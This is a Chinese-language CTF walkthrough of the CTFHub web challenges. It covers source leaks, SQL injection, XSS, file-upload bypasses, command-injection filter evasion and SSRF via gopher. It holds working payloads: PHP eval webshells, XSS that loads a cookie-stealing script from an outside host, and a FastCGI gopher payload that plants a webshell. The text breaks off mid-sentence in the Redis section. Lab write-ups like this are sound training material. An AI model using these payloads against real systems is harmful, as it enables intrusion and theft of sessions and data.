CTFHUB-技能树
信息泄露
目录遍历
- 这关就是让你在目录下面找flag
- 每次开启不同的环境,flag也会不同
PHPINFO
1.直接打开 按住CTRL+F进行查找flag就能拿到
备份文件下载
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
网站源码
- 根据常见网站源码备份文件名和后缀排列组合 最后使用www.zip下载源码
- 复制里面的flag文件名称在网页打开即可得到。
bak文件
- 直接在网站url后面输入index.php.bak 即可下载备份源码打开就有flag
vim缓存
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
- 在url后面加上/.index.php.swp才能下载备份文件打开即可得到flag
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
- 尝试去下载.DS_Store文件
- 得到文件打开 文本里面的这段内容空字符去掉得到
5793711c20ae593759d26408875aecce.txt
- 拿到浏览器访问 得到flag
Git泄露
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞
- 页面提示我们使用githack完成这一关 我们拿出工具 在url后面加上/.进行扫描
SVN泄露
这里有一些关于SVN的介绍:
Subversion,简称SVN,是一个开放源代码的版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上越来越多的控制服务从CVS转移到Subversion。
原文链接:https://blog.csdn.net/weixin_51563603/article/details/119791550
-
我们使用工具 dvcs-rippers安装使用
-
安装完之后使用./rip-svn.pl模块对靶场进行扫描 完成之后会在当前目录下生成一个.svn隐藏文件
-
使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份
-
-
在pristine的f8目录下对文件进行查看得到flag
- 不同环境pristine下的目录名可能会有些不同
HG泄露
Mercurial 是一种轻量级分布式版本控制系统,使用 hginit的时候会生成.hg。
依旧是漏洞利用工具:dvcs-ripper
-
将泄露的文件下载到本地目录中
./rip-hg.pl http://challenge-33d452210e5f155c.sandbox.ctfhub.com:10800/.hg/
这里如果报错了cannot find hg: No such file or directory at ./rip-hg.pl line 140.该错误发生在使用
dvcs-ripper
工具的rip-hg.pl
脚本尝试下载 Mercurial(HG)仓库时,核心问题是 系统缺少 Mercurial(hg
)命令行工具-
sudo apt update && sudo apt install mercurial -y # 安装 Mercurial 工具
-
hg --version # 输出类似 "Mercurial Distributed SCM (version X.X)"
-
重新运行命运
-
-
ls -la查看隐藏文件
-
tree .hg 使用tree命令列出刚刚下载的.hg网站目录,发现last-message.txt
-
查看last-message.txt是否存在flag,发现历史版本add flag
-
发现历史版本可以使用正则表达式进行关键字查找(递归搜索包含“flag”这个词的文件),找到 flag_272271143.txt
-
使用curl命令访问可以文件检查源代码是否存在flag
-
拿到flag
密码口令
弱口令
- 还没丢yakit跑密码123456直接出来了
默认口令
- 本题提示默认口令 打开网页看到是亿邮邮件网关cms
- 把亿邮邮件网关拿到网上搜索得到默认账户密码 输入报错可能不是这个了 又搜索了一下发有三个默认账户密码
- 挨个尝试在第二个拿到flag
SQL注入
整形注入
-
随便输入看到数据可控并且成功和数据库进行交互 sqlmap启动
-
查看当前数据库
python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --current-db
-
查看当前数据库下面的表名 看到flag 继续
python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --tables -D sqli -v 2
-
查看列名 表名和列名是一样的
python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T flag
-
查看flag
python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
字符型注入
- 跟上题一样url换一下就好了
报错型注入
- 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump
布尔注入
- 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump
时间盲注
- 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump
MySql结构
-
跟上面一样直接跑 啊不对 有点不一样 但是思路是一样的
python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --current-db
python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --tables -D sqli
python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T geksvwiinv
python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 -D sqli -T geksvwiinv -C vnamhjwcgo --dump
cookie注入
-
跟上面一样直接跑 只不过这次要进行抓包
-
写道sql目录下面 在cookie哪里打上*号丢到sqlmap跑 命令跟上面差不多
UA注入
-
跟上面一样 抓包只不过这次将*打在user-agent后面 也可以进行手工注入更快
//拿表名 id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' //拿字段名 id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='lddcnnptlw' //拿flag id=-1 union select 1, iymgavozdx from sqli.lddcnnptlw
Referer
-
这关和上关一样使用手工注入
-
order by 判断出有两列进行注入
-
拿数据库名
-1 union select 1,database();
-
拿表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
-
拿列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='fmxwxworfs'
-
拿flag
-1 union select 1,nupszizkfg from sqli.fmxwxworfs
空格过滤
-
本关对空格进行了过滤 我们这里使用sqlmap自带的脚本 绕过过滤
-
拿表名 这里直接猜数据库名为sqli了
python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T qoazixiwgx --tamper="space2hash.py"
-
拿列名
python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T qoazixiwgx --tamper="space2hash.py"
-
拿flag
python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1 -D sqli -T qoazixiwgx -C xzknlatlpi --dump --tamper="space2hash.py"
XSS
反射性
- 在第一个输入框里面有输入我们的
<script>alert(1)</script>
成功跳出 这里有xss漏洞 - 这里我们使用平台创建项目 生成xss攻击代码 https://xssaq.com/
- 在第一个输入框输入Submit 然后把上面的url复制粘贴到第二个输入框点击Send
- 返回我们的平台 查看记录在cookie哪里即可拿到flag
http://challenge-c7d786d330040697.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2Fn0L%3E%3C%2FsCrIpT%3E
存储型
- 这题跟上面一样现在第一个输入框提交之后再把url提交 只不过不需要后面再跟参数了
- 存储型数据库是把恶意代码放进数据库里面 每次访问数据就能触发
DOM反射
DOM 反射型 XSS 是 “你传入 URL 的恶意内容,被页面前端 JavaScript 读出来,插进页面没做任何处理,导致浏览器执行恶意代码。
- 在第一个输入框输入1能正常显示 1 再输入我的恶意xss代码进去发现只有
';
了· - 打开f12查看发现我们的恶意代码写进标签里面了 所以没有显示 这里我们对对前面的标签进行闭合 //注释后面的参数
- 将构造的恶意代码提交 再将url 提交 在平台查看cookie拿到flag
DOM跳转
http://challenge-7398d7afe96182eb.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("SrC=//xs.pe/n0L.jpg")
空格过滤
-
正常输入跳出弹窗
-
这里我们输入我们的恶意代码
<sCRiPt sRC=//xs.pe/n0L></sCrIpT>
并没有弹窗 检测页面源代码发现对空格进行了过滤 这会导致 XSS 无法执行,因为标签和属性之间不能没有空格 -
使用
/
或换行符代替空格 HTML 中,属性之间的空格可以被特殊符号绕过:<script/src=//xs.pe/n0L></script>
-
还可以使用
%09
(Tab)、%0A
(换行)或%0B
(垂直制表)替代空格 这里不演示了 -
再把url放到第二个输入框提交 在xss平台查看cookien拿到flag
关键字
- 这关输入对关键字进行了过滤
- 我们这里使用平台自带的大小写绕过 xss平台得到响应
- 将url复制放到下面发送 在平台上面得到cookie拿到flag
- 也可以使用双写绕过 具体不多说了大差不差
文件上传
无过滤
- 这里上传我们事先准备好的1.php文件 内容是一句话木马
<?php @eval($_POST["pass"]);?>
- 上传文件拿到文件路径 复制粘贴到url 后面访问 文件上传成功
- 复制url链接 打开蚁剑链接 在上级目录拿到flag
JS前端验证
- 这里上传我们的php文件显示不能上传
- 打开f12发现这里有前端上传逻辑校验 这里写在前端是不安全的
- 我们可以将我们的php文件后缀修改为jpg 上传抓包 将后缀改回php
- 访问路径 蚁剑链接 访问上层路径 拿到flag
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
.htaccess文件的作用 就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。
AddType application/x-httpd-php .jpg 就是把.jpg文件当作php文件解析。
-
准备一个文件写上 AddType application/x-httpd-php .jpg 将文件名修改为.htaccess 上传 不要在.htaccess前面加东西可能会识别不成功
-
将我们包含一句话木马的php文件的后缀改为1.jpg
-
上传 打开蚁剑链接 访问上层目录拿到flag
注意:直接访问对应上传1.jpg的路径/upload/1.png),访问/upload/.htaccess 这个是解析木马文件的规则,直接访问会报错403
MIME绕过
- 跟上面一样包含一句话木马的文件修改为1.jpg
- 上传 抓包 将文件1.jpg改回1.php 注意下面的类型 为Content-Type: image/jpeg
- 上传成功 访问上传目录 蚁剑连接 访问上层目录 拿到flag
文件头判断
- 打开我们的一句话木马 前面加入文件头 (GIF89a8)gif文件默认的文件头
- 保存将文件后缀名改为jpg 上传 抓包
- 注意content-type进行修改为:image/gif 还有将名字改回1.php 上传
- 蚁剑连接 访问上层目录拿到flag
00截断
原理:将木马文件以.jpg格式上传,可以获得到一个对应.jpg文件img src="./upload/9720240216044425.jpg通过修改POST中URL路径使用%00截取,也就是说只有前面a.php被拼接到名称中,后面都被舍弃,在文件解析时候,依照被拼接的x.php进行文件解析,木马文件被成功解析
- 将我们包含一句话木马的文件上传 抓包
- 将POST中URL路径路径/var/www/html/upload/加上
a.php%00
上传 - 访问我们的上传目录 upload/a.php
- 蚁剑连接 访问上层目录 拿到flag
双写绕过
- 跟上面一样将包含一句话木马的后缀修改为jpg上传
- 修改后缀 为pphphp这刚好过滤完后拼接成php
- 访问我们的上传目录 upload/a.php
- 蚁剑连接 访问上层目录 拿到flag
RCE
eval()
-
eval()
函数执行传入的 PHP 代码,相当于给你在服务器上“写 PHP”的权限。你可以利用它做任意操作,比如读文件、写文件、执行系统命令(如配合
system()、
shell_exec() -
通过url传参的方式访问 拿到flag
http://challenge-a6aba294f40b89f2.sandbox.ctfhub.com:10800/?cmd=system(cat /fla*);
文件包含
-
根据代码 这里有文件包含漏洞 点击shell 里面有一句话木马
<?php eval($_REQUEST['ctfhub']);?>
从请求中获取ctfhub
参数,然后把它当作 PHP 代码执行-
$_REQUEST['ctfhub']
:表示从 GET / POST / COOKIE 中读取名为ctfhub
的参数; -
eval()
:是 PHP 中一个非常危险的函数,用于执行一段PHP 代码字符串
-
-
?file=xxx
时,会执行
include $_GET['file'] 如果包含"flag"
字符,就提示 “Hacker!!!”,阻止包含 -
file=shell.txt
→ 满足!strpos(file, 'flag')
,不包含“flag” shell.txt就是上面的一句话木马 所以等同于执行eval(执行的代码)http://challenge-f307a3d9e66528d2.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system(%27cat%20/fla*%27);
-
拿到flag
php://input
- 根据代码提示 substr($_GET["file"], 0, 6) 表示取字符串
$file
从第 0 位开始的前 6 个字符也就 php:// - 如果是php://那就进入include
- 关于php://的伪协议想到两种
php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码 - 而执行
php://input
伪协议条件是allow_url_include是On 代码给了我们phpinfo 查看也是on 这里我们选择利用它 - 这关使用get传参 使用构造url为?file=php://input 协议 post传入参数
- 抓包输入构造的值 在post参数为 拿到flag
读取代码源
- 这关跟上关一样的substr($_GET["file"], 0, 6) 表示取字符串
$file
从第 0 位开始的前 6 个字符也就 php:// - 如果是php://那就进入include
php://filter
用于读取源码 这里构造file值php://filter/read=convert.base64-encode/resource=[文件名]
- 根据页面提示flag 在/flag下面
- 抓包传入构造好的值参数 拿到返回包 进行base64解码 拿到flag
远程文件包含
-
strpos($a, $b) 找 `$b` 在 `$a` 中的位置 这里对file传入的值如果包含flag就提示Hacker!!! 不包含就进入include
-
这里也是使用php://input伪协议
-
步骤跟上面一样
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
-
直接拼接了用户输入到系统命令中,没有任何过滤处理
-
直接在输入框输入127.0.0.1;ls得到显示的文件
-
在对文件进行查看 127.0.0.1;cat 200511328524360.php
cat文件的时候因为用了注释符不会显示在页面里面,但是可以读源码
cat过滤
-
这题跟上题一样 只不过对cat进行过滤了
-
拿到flag文件进行查看 但是这里cat过滤了我们的换其他方法
-
我们这里使用转义符号进行绕过 127.0.0.1;ca\t flag_23389292917835.php 右键查看源代码拿到flag
**如何通不同的方式读取flag****通配符** flag=fl* cat fl* cat ?la* //?代表占位符**转义符号** ca\t /fl\ag cat fl''ag**使用空变量∗ 和 \*和∗和@,x , x,x,{x}绕过** ca$*t fl$*ag ca$@t fl$@ag //$@是linux里面声明变量 但是$@没有赋值 所以为空 因此干扰到了flag的匹配 ca$5t f$5lag ca${2}t f${2}lag 等....
过滤空格
-
这题步骤跟上面一样只不过过滤了空格
空格可以用以下字符串代替: < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等空格可以用以下字符串代替:<!--?php // ctfhub{d9748570d5fd00ee9a3506fc} ) </pre-->
过滤分隔符
-
这次过滤了目录分割符 / 但是但是 这里也用不上分割符
-
127.0.0.1;cd flag_is_here;cat flag_179353253417801.php
过滤运算符
-
把’&’过滤了,但是我们还能用’;’
在 Bash(Linux 命令行)中,命令分隔符 ; 的作用是“顺序执行多个命令” ping -c 4 127.0.0.1; ls 会先执行 ping,然后执行 ls。<!--?php // ctfhub{456e74ff384e4ad7c31f1a0b} ) </pre-->
-
过程跟上面差不多
综合过滤练习
-
?ip=1%0D%0Acd${IFS}fl$*ag_is_here%0Als 拿到名称
-
%0D
和%0A
是 URL 编码中的回车符 (CR) 和换行符 (LF),通常用于在某些环境中注入换行符。 -
${IFS}
是环境变量IFS
(Internal Field Separator)的值,通常包含空格、制表符和换行符。攻击者利用这一点来插入空格或其他分隔符,从而执行多个命令。 -
fl$*ag_is_here
是尝试在执行命令时插入flag_is_here
字符串,以便显示或执行其他攻击命令。注意不是在ip的空格里面写,因为在url里面会二次编码
-
友情参考,谢谢大佬:CTFHub之Web篇之Web实战之RCE(更新中~~)
SSRF
内网访问
- 根据页面提示尝试访问位于127.0.0.1的flag.php吧
- 进去之后看到url我们直接尝试访问内网
?url=http://127.0.0.1/flag.php
拿到flag
ctfhub{fd5ecdae52441f6133d08939}
伪协议读取文件
-
这关告诉我们要用伪协议进行读取文件
-
我们看url的伪协议有哪些
类型 file:/// dict:// sftp:// ldap:// tftp:// gopher://
-
-
这里我们使用file://进行读取
?url=file:///var/www/html/flag.php
-
右键查看源码即可拿到falg
端口扫描
- 这关使用dict协议参数后面加上dict://127.0.0.1:端口
- 使用yakit抓包 将端口插入字典 根据提示端口范围在8000-9000 这里生成fuzz标签插入到端口号这里
- 进行爆破 然后查看响应大小发现8833不一样
- 返回浏览器访问8833端口拿到flag
Gopher协议利用
POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
-
这里直接访问127.0.0.1/flag.php 在页面下面跳出一个输入框 并且查看源码有key
-
将key输入到输入框里面 回车跳转到了flag.php页面
-
file协议读取index.php 和flag.php的页面源码 成功看到了页面源码
?url=file:///var/www/html/index.php ?url=file:///var/www/html/flag.php
-
尝试使用 Gopher 协议向服务器发送 POST 包 构造 Gopher协议的 POST请求 //每个人的key不一样注意替换
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded key=3747a59bc540faca823cf525ca78b369
-
在使用 Gopher协议发送 POST请求包时,
Host
、Content-Type
和Content-Length
请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。-
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行
curl功能时,进行第二次 URL解码
-
所以我们需要对构造的请求包进行两次 URL编码
-
第一次编码:
-
注意:这里对POST进行URL编码的时候不要在行与行之间添加空格
原因:在 HTTP POST 请求中,请求头(Headers)和请求体(Body)之间的分隔 只能是两个连续的换行符(
\r\n\r\n
),中间不能夹带任何空格或字符。Content-Type: application/x-www-form-urlencoded [空格] key=3747a59bc540faca823cf525ca78b369 这中间多了 一个空格行,所以会导致服务端无法识别 key,从而拿不到 flag。 请求头结束后直接换行,紧跟请求体,不要加空格或额外换行
-
-
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0Akey%3D3747a59bc540faca823cf525ca78b369%20%20
-
在第一次编码后的数据中,将
%0A
全部替换为%0D%0A
。因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节 -
-
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0Akey%3D3747a59bc540faca823cf525ca78b369%20%20
-
第二次编码:
-
-
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250Akey%253D3747a59bc540faca823cf525ca78b369%2520%2520
-
因为
flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,只能通过index.php
页面中的curl
功能向目标发送 POST请求,构造如下Payload: -
80是默认http端口
_POST 是一个占位符,用于指示这是一个POST请求。在实际使用中,这个占位符会被具体的请求路径所替代
view-source:http://challenge-c5e979e53280dfd9.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250Akey%253D3747a59bc540faca823cf525ca78b369%2520%2520
-
上传文件
-
这关跟上关一样 尝试着访问 127.0.0.1 出现一个文件上传页面
-
目录扫描完有index.php 和flag.php 尝试用file:///读取flag.php和index.php的源码
-
打开f12 在这里右键 以html格式修改 添加一个提交按钮
-
然后选择我们带非空的文件提交 抓包 将host 头改为127.0.0.1 然后这里使用脚本将我们的请求包转化成符合gopher协议格式的payload
import urllib.parse payload =\ """POST /flag.php HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Origin: http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOz1hloWH0bz6SmyZ Referer: http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php Content-Length: 321------WebKitFormBoundaryOz1hloWH0bz6SmyZ Content-Disposition: form-data; name="file"; filename="2.php" Content-Type: application/octet-stream<?php eval($_POST["pass"]);?> ------WebKitFormBoundaryOz1hloWH0bz6SmyZ Content-Disposition: form-data; name="submit"------WebKitFormBoundaryOz1hloWH0bz6SmyZ-- """#注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码
payload 生成
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/137.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AReferer%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AContent-Length%253A%2520321%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522pass%2522%255D%2529%253B%253F%253E%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ--%250D%250A
-
然后直接把gopher协议的payload发送过去 拿到flag
http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/137.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AReferer%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AContent-Length%253A%2520321%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522pass%2522%255D%2529%253B%253F%253E%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ--%250D%250A
FastCGI
题目给了我们附录了解这个协议详情查看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
-
打开gopherus生成工具生成攻击FastCGI的payload
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
python gopherus.py --exploit fastcgi /var/www/html/index.php # 这里输入的是一个已知存在的php文件 编码时不要有空格切记 echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php #这里解码为一句话木马<?php eval($_POST[whoami]);?>
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
-
然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码):
- 注意这里编码的时候把**(
gopher://127.0.0.1:9000/
)进行了1次URL编码 而payload部分(_
之后的内容)进行了2次URL编码 **
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2506%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2518SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%2520%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
- 这里为什么只对gopher%3A//127.0.0.1%3A9000/_的:进行编码 //he和_不用
- URL的保留字符分为两类:
- 协议分隔符:如
:
、/
、?
等,用于划分协议、主机、路径等结构。 - 数据字符:如字母、数字、下划线(
_
),通常无需编码
- 协议分隔符:如
- 在
gopher://127.0.0.1:9000/_
中:- 冒号(
:
)是关键分隔符:- 第一个
:
分隔协议标识符(gopher
)与路径(//...
),必须编码为%3A
,否则会被解析为无效协议。 - 第二个
:
分隔主机与端口(127.0.0.1:9000
),同样需编码为%3A
,避免与路径混淆。
- 第一个
- 双斜杠(
//
)是协议约定符号:- 在
gopher:
后,//
表示后续为主机地址,是协议标准格式(如HTTP的http://
)。 - 因其本身是协议结构的一部分,无需编码,否则会破坏协议识别。
- 在
- 下划线(
_
)是安全字符:- 属于RFC 3986定义的“未保留字符”(Unreserved Characters),可直接使用。
- 在Gopher协议中,
_
是Payload起始标志,标识后续为TCP数据流,编码会导致协议解析失败。
- 冒号(
- URL的保留字符分为两类:
- 注意这里编码的时候把**(
-
使用蚁剑访问我们上传的http://challenge-c07f76842e31ded4.sandbox.ctfhub.com:10800/shell.php 在根目录拿到flag
redis
-
这关跟上关差不多利用gopherus工具生成redis的payloa 当操作完成后,你可以在目标服务器的
/shell.php
路径访问一个 PHP WebShell,并通过cmd
